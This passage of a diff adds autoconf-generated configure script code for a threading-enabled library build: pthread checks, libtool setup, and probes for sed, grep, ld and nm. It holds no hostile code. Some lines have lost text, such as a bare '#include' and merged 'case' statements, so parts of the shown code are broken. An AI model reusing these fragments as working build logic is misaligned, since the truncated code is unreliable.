>>confdefs.h + + ax_pthread_joinable_attr_defined=yes + +fi + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether more special flags are required for pthreads" >&5 +printf %s "checking whether more special flags are required for pthreads... " >&6; } +if test ${ax_cv_PTHREAD_SPECIAL_FLAGS+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ax_cv_PTHREAD_SPECIAL_FLAGS=no + case $host_os in + solaris*) + ax_cv_PTHREAD_SPECIAL_FLAGS="-D_POSIX_PTHREAD_SEMANTICS" + ;; + esac + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ax_cv_PTHREAD_SPECIAL_FLAGS" >&5 +printf "%s\n" "$ax_cv_PTHREAD_SPECIAL_FLAGS" >&6; } + if test "x$ax_cv_PTHREAD_SPECIAL_FLAGS" != "xno" && \ + test "x$ax_pthread_special_flags_added" != "xyes" +then : + PTHREAD_CFLAGS="$ax_cv_PTHREAD_SPECIAL_FLAGS $PTHREAD_CFLAGS" + ax_pthread_special_flags_added=yes +fi + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for PTHREAD_PRIO_INHERIT" >&5 +printf %s "checking for PTHREAD_PRIO_INHERIT... " >&6; } +if test ${ax_cv_PTHREAD_PRIO_INHERIT+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include +int +main (void) +{ +int i = PTHREAD_PRIO_INHERIT; + return i; + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + ax_cv_PTHREAD_PRIO_INHERIT=yes +else case e in #( + e) ax_cv_PTHREAD_PRIO_INHERIT=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ax_cv_PTHREAD_PRIO_INHERIT" >&5 +printf "%s\n" "$ax_cv_PTHREAD_PRIO_INHERIT" >&6; } + if test "x$ax_cv_PTHREAD_PRIO_INHERIT" = "xyes" && \ + test "x$ax_pthread_prio_inherit_defined" != "xyes" +then : + +printf "%s\n" "#define HAVE_PTHREAD_PRIO_INHERIT 1" >>confdefs.h + + ax_pthread_prio_inherit_defined=yes + +fi + + CFLAGS="$ax_pthread_save_CFLAGS" + LIBS="$ax_pthread_save_LIBS" + + # More AIX lossage: compile with *_r variant + if test "x$GCC" != "xyes"; then + case $host_os in + aix*) + case "x/$CC" in #( + x*/c89|x*/c89_128|x*/c99|x*/c99_128|x*/cc|x*/cc128|x*/xlc|x*/xlc_v6|x*/xlc128|x*/xlc128_v6) : + #handle absolute path differently from PATH based program lookup + case "x$CC" in #( + x/*) : + + if as_fn_executable_p ${CC}_r +then : + PTHREAD_CC="${CC}_r" +fi + if test "x${CXX}" != "x" +then : + if as_fn_executable_p ${CXX}_r +then : + PTHREAD_CXX="${CXX}_r" +fi +fi + ;; #( + *) : + + for ac_prog in ${CC}_r +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_PTHREAD_CC+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$PTHREAD_CC"; then + ac_cv_prog_PTHREAD_CC="$PTHREAD_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_PTHREAD_CC="$ac_prog" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +PTHREAD_CC=$ac_cv_prog_PTHREAD_CC +if test -n "$PTHREAD_CC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $PTHREAD_CC" >&5 +printf "%s\n" "$PTHREAD_CC" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + test -n "$PTHREAD_CC" && break +done +test -n "$PTHREAD_CC" || PTHREAD_CC="$CC" + + if test "x${CXX}" != "x" +then : + for ac_prog in ${CXX}_r +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_PTHREAD_CXX+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$PTHREAD_CXX"; then + ac_cv_prog_PTHREAD_CXX="$PTHREAD_CXX" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_PTHREAD_CXX="$ac_prog" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +PTHREAD_CXX=$ac_cv_prog_PTHREAD_CXX +if test -n "$PTHREAD_CXX"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $PTHREAD_CXX" >&5 +printf "%s\n" "$PTHREAD_CXX" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + test -n "$PTHREAD_CXX" && break +done +test -n "$PTHREAD_CXX" || PTHREAD_CXX="$CXX" + +fi + + ;; +esac + ;; #( + *) : + ;; +esac + ;; + esac + fi +fi + +test -n "$PTHREAD_CC" || PTHREAD_CC="$CC" +test -n "$PTHREAD_CXX" || PTHREAD_CXX="$CXX" + + + + + + +# Finally, execute ACTION-IF-FOUND/ACTION-IF-NOT-FOUND: +if test "x$ax_pthread_ok" = "xyes"; then + : + : +else + ax_pthread_ok=no + +fi +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + LIBS="$LIBS $PTHREAD_LIBS" + AM_CFLAGS="$AM_CFLAGS $PTHREAD_CFLAGS" + + + +printf "%s\n" "#define MYTHREAD_POSIX 1" >>confdefs.h + + + # This is nice to have but not mandatory. + OLD_CFLAGS=$CFLAGS + CFLAGS="$CFLAGS $PTHREAD_CFLAGS" + ac_fn_c_check_func "$LINENO" "pthread_condattr_setclock" "ac_cv_func_pthread_condattr_setclock" +if test "x$ac_cv_func_pthread_condattr_setclock" = xyes +then : + printf "%s\n" "#define HAVE_PTHREAD_CONDATTR_SETCLOCK 1" >>confdefs.h + +fi + + CFLAGS=$OLD_CFLAGS + ;; #( + win95) : + + +printf "%s\n" "#define MYTHREAD_WIN95 1" >>confdefs.h + + ;; #( + vista) : + + +printf "%s\n" "#define MYTHREAD_VISTA 1" >>confdefs.h + + + ;; #( + *) : + ;; +esac + if test "x$enable_threads" != xno; then + COND_THREADS_TRUE= + COND_THREADS_FALSE='#' +else + COND_THREADS_TRUE='#' + COND_THREADS_FALSE= +fi + + +echo +echo "Initializing Libtool:" + +case `pwd` in + *\ * | *\ *) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: Libtool does not cope well with whitespace in \`pwd\`" >&5 +printf "%s\n" "$as_me: WARNING: Libtool does not cope well with whitespace in \`pwd\`" >&2;} ;; +esac + + + +macro_version='2.4.7.4-1ec8f-dirty' +macro_revision='2.4.7.4' + + + + + + + + + + + + + + +ltmain=$ac_aux_dir/ltmain.sh + +# Backslashify metacharacters that are still active within +# double-quoted strings. +sed_quote_subst='s/\(["`$\\]\)/\\\1/g' + +# Same as above, but do not quote variable references. +double_quote_subst='s/\(["`\\]\)/\\\1/g' + +# Sed substitution to delay expansion of an escaped shell variable in a +# double_quote_subst'ed string. +delay_variable_subst='s/\\\\\\\\\\\$/\\\\\\$/g' + +# Sed substitution to delay expansion of an escaped single quote. +delay_single_quote_subst='s/'\''/'\'\\\\\\\'\''/g' + +# Sed substitution to avoid accidental globbing in evaled expressions +no_glob_subst='s/\*/\\\*/g' + +ECHO='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' +ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO +ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5 +printf %s "checking how to print strings... " >&6; } +# Test print first, because it will be a builtin if present. +if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \ + test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then + ECHO='print -r --' +elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then + ECHO='printf %s\n' +else + # Use this function as a fallback that always works. + func_fallback_echo () + { + eval 'cat <<_LTECHO_EOF +$1 +_LTECHO_EOF' + } + ECHO='func_fallback_echo' +fi + +# func_echo_all arg... +# Invoke $ECHO with all args, space-separated. +func_echo_all () +{ + $ECHO "" +} + +case $ECHO in + printf*) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: printf" >&5 +printf "%s\n" "printf" >&6; } ;; + print*) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: print -r" >&5 +printf "%s\n" "print -r" >&6; } ;; + *) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: cat" >&5 +printf "%s\n" "cat" >&6; } ;; +esac + + + + + + + + + + + + + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for a sed that does not truncate output" >&5 +printf %s "checking for a sed that does not truncate output... " >&6; } +if test ${ac_cv_path_SED+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_script=s/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/ + for ac_i in 1 2 3 4 5 6 7; do + ac_script="$ac_script$as_nl$ac_script" + done + echo "$ac_script" 2>/dev/null | sed 99q >conftest.sed + { ac_script=; unset ac_script;} + if test -z "$SED"; then + ac_path_SED_found=false + # Loop through the user's path and test for each of PROGNAME-LIST + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_prog in sed gsed + do + for ac_exec_ext in '' $ac_executable_extensions; do + ac_path_SED="$as_dir$ac_prog$ac_exec_ext" + as_fn_executable_p "$ac_path_SED" || continue +# Check for GNU ac_path_SED and select it if it is found. + # Check for GNU $ac_path_SED +case `"$ac_path_SED" --version 2>&1` in #( +*GNU*) + ac_cv_path_SED="$ac_path_SED" ac_path_SED_found=:;; +#( +*) + ac_count=0 + printf %s 0123456789 >"conftest.in" + while : + do + cat "conftest.in" "conftest.in" >"conftest.tmp" + mv "conftest.tmp" "conftest.in" + cp "conftest.in" "conftest.nl" + printf "%s\n" '' >> "conftest.nl" + "$ac_path_SED" -f conftest.sed < "conftest.nl" >"conftest.out" 2>/dev/null || break + diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break + as_fn_arith $ac_count + 1 && ac_count=$as_val + if test $ac_count -gt ${ac_path_SED_max-0}; then + # Best one so far, save it but keep looking for a better one + ac_cv_path_SED="$ac_path_SED" + ac_path_SED_max=$ac_count + fi + # 10*(2^10) chars as input seems more than enough + test $ac_count -gt 10 && break + done + rm -f conftest.in conftest.tmp conftest.nl conftest.out;; +esac + + $ac_path_SED_found && break 3 + done + done + done +IFS=$as_save_IFS + if test -z "$ac_cv_path_SED"; then + as_fn_error $? "no acceptable sed could be found in \$PATH" "$LINENO" 5 + fi +else + ac_cv_path_SED=$SED +fi + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_SED" >&5 +printf "%s\n" "$ac_cv_path_SED" >&6; } + SED="$ac_cv_path_SED" + rm -f conftest.sed + +test -z "$SED" && SED=sed +Xsed="$SED -e 1s/^X//" + + + + + + + + + + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for grep that handles long lines and -e" >&5 +printf %s "checking for grep that handles long lines and -e... " >&6; } +if test ${ac_cv_path_GREP+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -z "$GREP"; then + ac_path_GREP_found=false + # Loop through the user's path and test for each of PROGNAME-LIST + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_prog in grep ggrep + do + for ac_exec_ext in '' $ac_executable_extensions; do + ac_path_GREP="$as_dir$ac_prog$ac_exec_ext" + as_fn_executable_p "$ac_path_GREP" || continue +# Check for GNU ac_path_GREP and select it if it is found. + # Check for GNU $ac_path_GREP +case `"$ac_path_GREP" --version 2>&1` in #( +*GNU*) + ac_cv_path_GREP="$ac_path_GREP" ac_path_GREP_found=:;; +#( +*) + ac_count=0 + printf %s 0123456789 >"conftest.in" + while : + do + cat "conftest.in" "conftest.in" >"conftest.tmp" + mv "conftest.tmp" "conftest.in" + cp "conftest.in" "conftest.nl" + printf "%s\n" 'GREP' >> "conftest.nl" + "$ac_path_GREP" -e 'GREP$' -e '-(cannot match)-' < "conftest.nl" >"conftest.out" 2>/dev/null || break + diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break + as_fn_arith $ac_count + 1 && ac_count=$as_val + if test $ac_count -gt ${ac_path_GREP_max-0}; then + # Best one so far, save it but keep looking for a better one + ac_cv_path_GREP="$ac_path_GREP" + ac_path_GREP_max=$ac_count + fi + # 10*(2^10) chars as input seems more than enough + test $ac_count -gt 10 && break + done + rm -f conftest.in conftest.tmp conftest.nl conftest.out;; +esac + + $ac_path_GREP_found && break 3 + done + done + done +IFS=$as_save_IFS + if test -z "$ac_cv_path_GREP"; then + as_fn_error $? "no acceptable grep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5 + fi +else + ac_cv_path_GREP=$GREP +fi + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_GREP" >&5 +printf "%s\n" "$ac_cv_path_GREP" >&6; } + GREP="$ac_cv_path_GREP" + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for egrep" >&5 +printf %s "checking for egrep... " >&6; } +if test ${ac_cv_path_EGREP+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if echo a | $GREP -E '(a|b)' >/dev/null 2>&1 + then ac_cv_path_EGREP="$GREP -E" + else + if test -z "$EGREP"; then + ac_path_EGREP_found=false + # Loop through the user's path and test for each of PROGNAME-LIST + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_prog in egrep + do + for ac_exec_ext in '' $ac_executable_extensions; do + ac_path_EGREP="$as_dir$ac_prog$ac_exec_ext" + as_fn_executable_p "$ac_path_EGREP" || continue +# Check for GNU ac_path_EGREP and select it if it is found. + # Check for GNU $ac_path_EGREP +case `"$ac_path_EGREP" --version 2>&1` in #( +*GNU*) + ac_cv_path_EGREP="$ac_path_EGREP" ac_path_EGREP_found=:;; +#( +*) + ac_count=0 + printf %s 0123456789 >"conftest.in" + while : + do + cat "conftest.in" "conftest.in" >"conftest.tmp" + mv "conftest.tmp" "conftest.in" + cp "conftest.in" "conftest.nl" + printf "%s\n" 'EGREP' >> "conftest.nl" + "$ac_path_EGREP" 'EGREP$' < "conftest.nl" >"conftest.out" 2>/dev/null || break + diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break + as_fn_arith $ac_count + 1 && ac_count=$as_val + if test $ac_count -gt ${ac_path_EGREP_max-0}; then + # Best one so far, save it but keep looking for a better one + ac_cv_path_EGREP="$ac_path_EGREP" + ac_path_EGREP_max=$ac_count + fi + # 10*(2^10) chars as input seems more than enough + test $ac_count -gt 10 && break + done + rm -f conftest.in conftest.tmp conftest.nl conftest.out;; +esac + + $ac_path_EGREP_found && break 3 + done + done + done +IFS=$as_save_IFS + if test -z "$ac_cv_path_EGREP"; then + as_fn_error $? "no acceptable egrep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5 + fi +else + ac_cv_path_EGREP=$EGREP +fi + + fi ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_EGREP" >&5 +printf "%s\n" "$ac_cv_path_EGREP" >&6; } + EGREP="$ac_cv_path_EGREP" + + EGREP_TRADITIONAL=$EGREP + ac_cv_path_EGREP_TRADITIONAL=$EGREP + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for fgrep" >&5 +printf %s "checking for fgrep... " >&6; } +if test ${ac_cv_path_FGREP+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if echo 'ab*c' | $GREP -F 'ab*c' >/dev/null 2>&1 + then ac_cv_path_FGREP="$GREP -F" + else + if test -z "$FGREP"; then + ac_path_FGREP_found=false + # Loop through the user's path and test for each of PROGNAME-LIST + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_prog in fgrep + do + for ac_exec_ext in '' $ac_executable_extensions; do + ac_path_FGREP="$as_dir$ac_prog$ac_exec_ext" + as_fn_executable_p "$ac_path_FGREP" || continue +# Check for GNU ac_path_FGREP and select it if it is found. + # Check for GNU $ac_path_FGREP +case `"$ac_path_FGREP" --version 2>&1` in #( +*GNU*) + ac_cv_path_FGREP="$ac_path_FGREP" ac_path_FGREP_found=:;; +#( +*) + ac_count=0 + printf %s 0123456789 >"conftest.in" + while : + do + cat "conftest.in" "conftest.in" >"conftest.tmp" + mv "conftest.tmp" "conftest.in" + cp "conftest.in" "conftest.nl" + printf "%s\n" 'FGREP' >> "conftest.nl" + "$ac_path_FGREP" FGREP < "conftest.nl" >"conftest.out" 2>/dev/null || break + diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break + as_fn_arith $ac_count + 1 && ac_count=$as_val + if test $ac_count -gt ${ac_path_FGREP_max-0}; then + # Best one so far, save it but keep looking for a better one + ac_cv_path_FGREP="$ac_path_FGREP" + ac_path_FGREP_max=$ac_count + fi + # 10*(2^10) chars as input seems more than enough + test $ac_count -gt 10 && break + done + rm -f conftest.in conftest.tmp conftest.nl conftest.out;; +esac + + $ac_path_FGREP_found && break 3 + done + done + done +IFS=$as_save_IFS + if test -z "$ac_cv_path_FGREP"; then + as_fn_error $? "no acceptable fgrep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5 + fi +else + ac_cv_path_FGREP=$FGREP +fi + + fi ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_FGREP" >&5 +printf "%s\n" "$ac_cv_path_FGREP" >&6; } + FGREP="$ac_cv_path_FGREP" + + +test -z "$GREP" && GREP=grep + + + + + + + + + + + + + + + + + + + +# Check whether --with-gnu-ld was given. +if test ${with_gnu_ld+y} +then : + withval=$with_gnu_ld; test no = "$withval" || with_gnu_ld=yes +else case e in #( + e) with_gnu_ld=no ;; +esac +fi + +ac_prog=ld +if test yes = "$GCC"; then + # Check if gcc -print-prog-name=ld gives a path. + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for ld used by $CC" >&5 +printf %s "checking for ld used by $CC... " >&6; } + case $host in + *-*-mingw*) + # gcc leaves a trailing carriage return, which upsets mingw + ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;; + *) + ac_prog=`($CC -print-prog-name=ld) 2>&5` ;; + esac + case $ac_prog in + # Accept absolute paths. + [\\/]* | ?:[\\/]*) + re_direlt='/[^/][^/]*/\.\./' + # Canonicalize the pathname of ld + ac_prog=`$ECHO "$ac_prog"| $SED 's%\\\\%/%g'` + while $ECHO "$ac_prog" | $GREP "$re_direlt" > /dev/null 2>&1; do + ac_prog=`$ECHO $ac_prog| $SED "s%$re_direlt%/%"` + done + test -z "$LD" && LD=$ac_prog + ;; + "") + # If it fails, then pretend we aren't using GCC. + ac_prog=ld + ;; + *) + # If it is relative, then search for the first ld in PATH. + with_gnu_ld=unknown + ;; + esac +elif test yes = "$with_gnu_ld"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for GNU ld" >&5 +printf %s "checking for GNU ld... " >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for non-GNU ld" >&5 +printf %s "checking for non-GNU ld... " >&6; } +fi +if test ${lt_cv_path_LD+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -z "$LD"; then + lt_save_ifs=$IFS; IFS=$PATH_SEPARATOR + for ac_dir in $PATH; do + IFS=$lt_save_ifs + test -z "$ac_dir" && ac_dir=. + if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then + lt_cv_path_LD=$ac_dir/$ac_prog + # Check to see if the program is GNU ld. I'd rather use --version, + # but apparently some variants of GNU ld only accept -v. + # Break only if it was the GNU/non-GNU ld that we prefer. + case `"$lt_cv_path_LD" -v 2>&1 &5 +printf "%s\n" "$LD" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi +test -z "$LD" && as_fn_error $? "no acceptable ld found in \$PATH" "$LINENO" 5 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if the linker ($LD) is GNU ld" >&5 +printf %s "checking if the linker ($LD) is GNU ld... " >&6; } +if test ${lt_cv_prog_gnu_ld+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) # I'd rather use --version here, but apparently some GNU lds only accept -v. +case `$LD -v 2>&1 &5 +printf "%s\n" "$lt_cv_prog_gnu_ld" >&6; } +with_gnu_ld=$lt_cv_prog_gnu_ld + + + + + + + + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for BSD- or MS-compatible name lister (nm)" >&5 +printf %s "checking for BSD- or MS-compatible name lister (nm)... " >&6; } +if test ${lt_cv_path_NM+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$NM"; then + # Let the user override the test. + lt_cv_path_NM=$NM +else + lt_nm_to_check=${ac_tool_prefix}nm + if test -n "$ac_tool_prefix" && test "$build" = "$host"; then + lt_nm_to_check="$lt_nm_to_check nm" + fi + for lt_tmp_nm in $lt_nm_to_check; do + lt_save_ifs=$IFS; IFS=$PATH_SEPARATOR + for ac_dir in $PATH /usr/ccs/bin/elf /usr/ccs/bin /usr/ucb /bin; do + IFS=$lt_save_ifs + test -z "$ac_dir" && ac_dir=. + tmp_nm=$ac_dir/$lt_tmp_nm + if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext"; then + # Check to see if the nm accepts a BSD-compat flag. + # Adding the 'sed 1q' prevents false positives on HP-UX, which says: + # nm: unknown option "B" ignored + # Tru64's nm complains that /dev/null is an invalid object file + # MSYS converts /dev/null to NUL, MinGW nm treats NUL as empty + case $build_os in + mingw*) lt_bad_file=conftest.nm/nofile ;; + *) lt_bad_file=/dev/null ;; + esac + case `"$tmp_nm" -B $lt_bad_file 2>&1 | $SED '1q'` in + *$lt_bad_file* | *'Invalid file or object type'*) + lt_cv_path_NM="$tmp_nm -B" + break 2 + ;; + *) + case `"$tmp_nm" -p /dev/null 2>&1 | $SED '1q'` in + */dev/null*) + lt_cv_path_NM="$tmp_nm -p" + break 2 + ;; + *) + lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but + continue # so that we can try to find one that supports BSD flags + ;; + esac + ;; + esac + fi + done + IFS=$lt_save_ifs + done + : ${lt_cv_path_NM=no} +fi ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_NM" >&5 +printf "%s\n" "$lt_cv_path_NM" >&6; } +if test no != "$lt_cv_path_NM"; then + NM=$lt_cv_path_NM +else + # Didn't find any BSD compatible name lister, look for dumpbin. + if test -n "$DUMPBIN"; then : + # Let the user override the test. + else + if test -n "$ac_tool_prefix"; then + for ac_prog in dumpbin "link -dump" + do + # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. +set dummy $ac_tool_prefix$ac_prog; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_DUMPBIN+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$DUMPBIN"; then + ac_cv_prog_DUMPBIN="$DUMPBIN" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_DUMPBIN="$ac_tool_prefix$ac_prog" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +DUMPBIN=$ac_cv_prog_DUMPBIN +if test -n "$DUMPBIN"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $DUMPBIN" >&5 +printf "%s\n" "$DUMPBIN" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + test -n "$DUMPBIN" && break + done +fi +if test -z "$DUMPBIN"; then + ac_ct_DUMPBIN=$DUMPBIN + for ac_prog in dumpbin "link -dump" +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_DUMPBIN+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_DUMPBIN"; then + ac_cv_prog_ac_ct_DUMPBIN="$ac_ct_DUMPBIN" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_DUMPBIN="$ac_prog" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_DUMPBIN=$ac_cv_prog_ac_ct_DUMPBIN +if test -n "$ac_ct_DUMPBIN"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DUMPBIN" >&5 +printf "%s\n" "$ac_ct_DUMPBIN" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + test -n "$ac_ct_DUMPBIN" && break +done + + if test "x$ac_ct_DUMPBIN" = x; then + DUMPBIN=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + DUMPBIN=$ac_ct_DUMPBIN + fi +fi + + case `$DUMPBIN -symbols -headers /dev/null 2>&1 | $SED '1q'` in + *COFF*) + DUMPBIN="$DUMPBIN -symbols -headers" + ;; + *) + DUMPBIN=: + ;; + esac + fi + + if test : != "$DUMPBIN"; then + NM=$DUMPBIN + fi +fi +test -z "$NM" && NM=nm + + + + + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking the name lister ($NM) interface" >&5 +printf %s "checking the name lister ($NM) interface... " >&6; } +if test ${lt_cv_nm_interface+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) lt_cv_nm_interface="BSD nm" + echo "int some_variable = 0;" > conftest.$ac_ext + (eval echo "\"\$as_me:$LINENO: $ac_compile\"" >&5) + (eval "$ac_compile" 2>conftest.err) + cat conftest.err >&5 + (eval echo "\"\$as_me:$LINENO: $NM 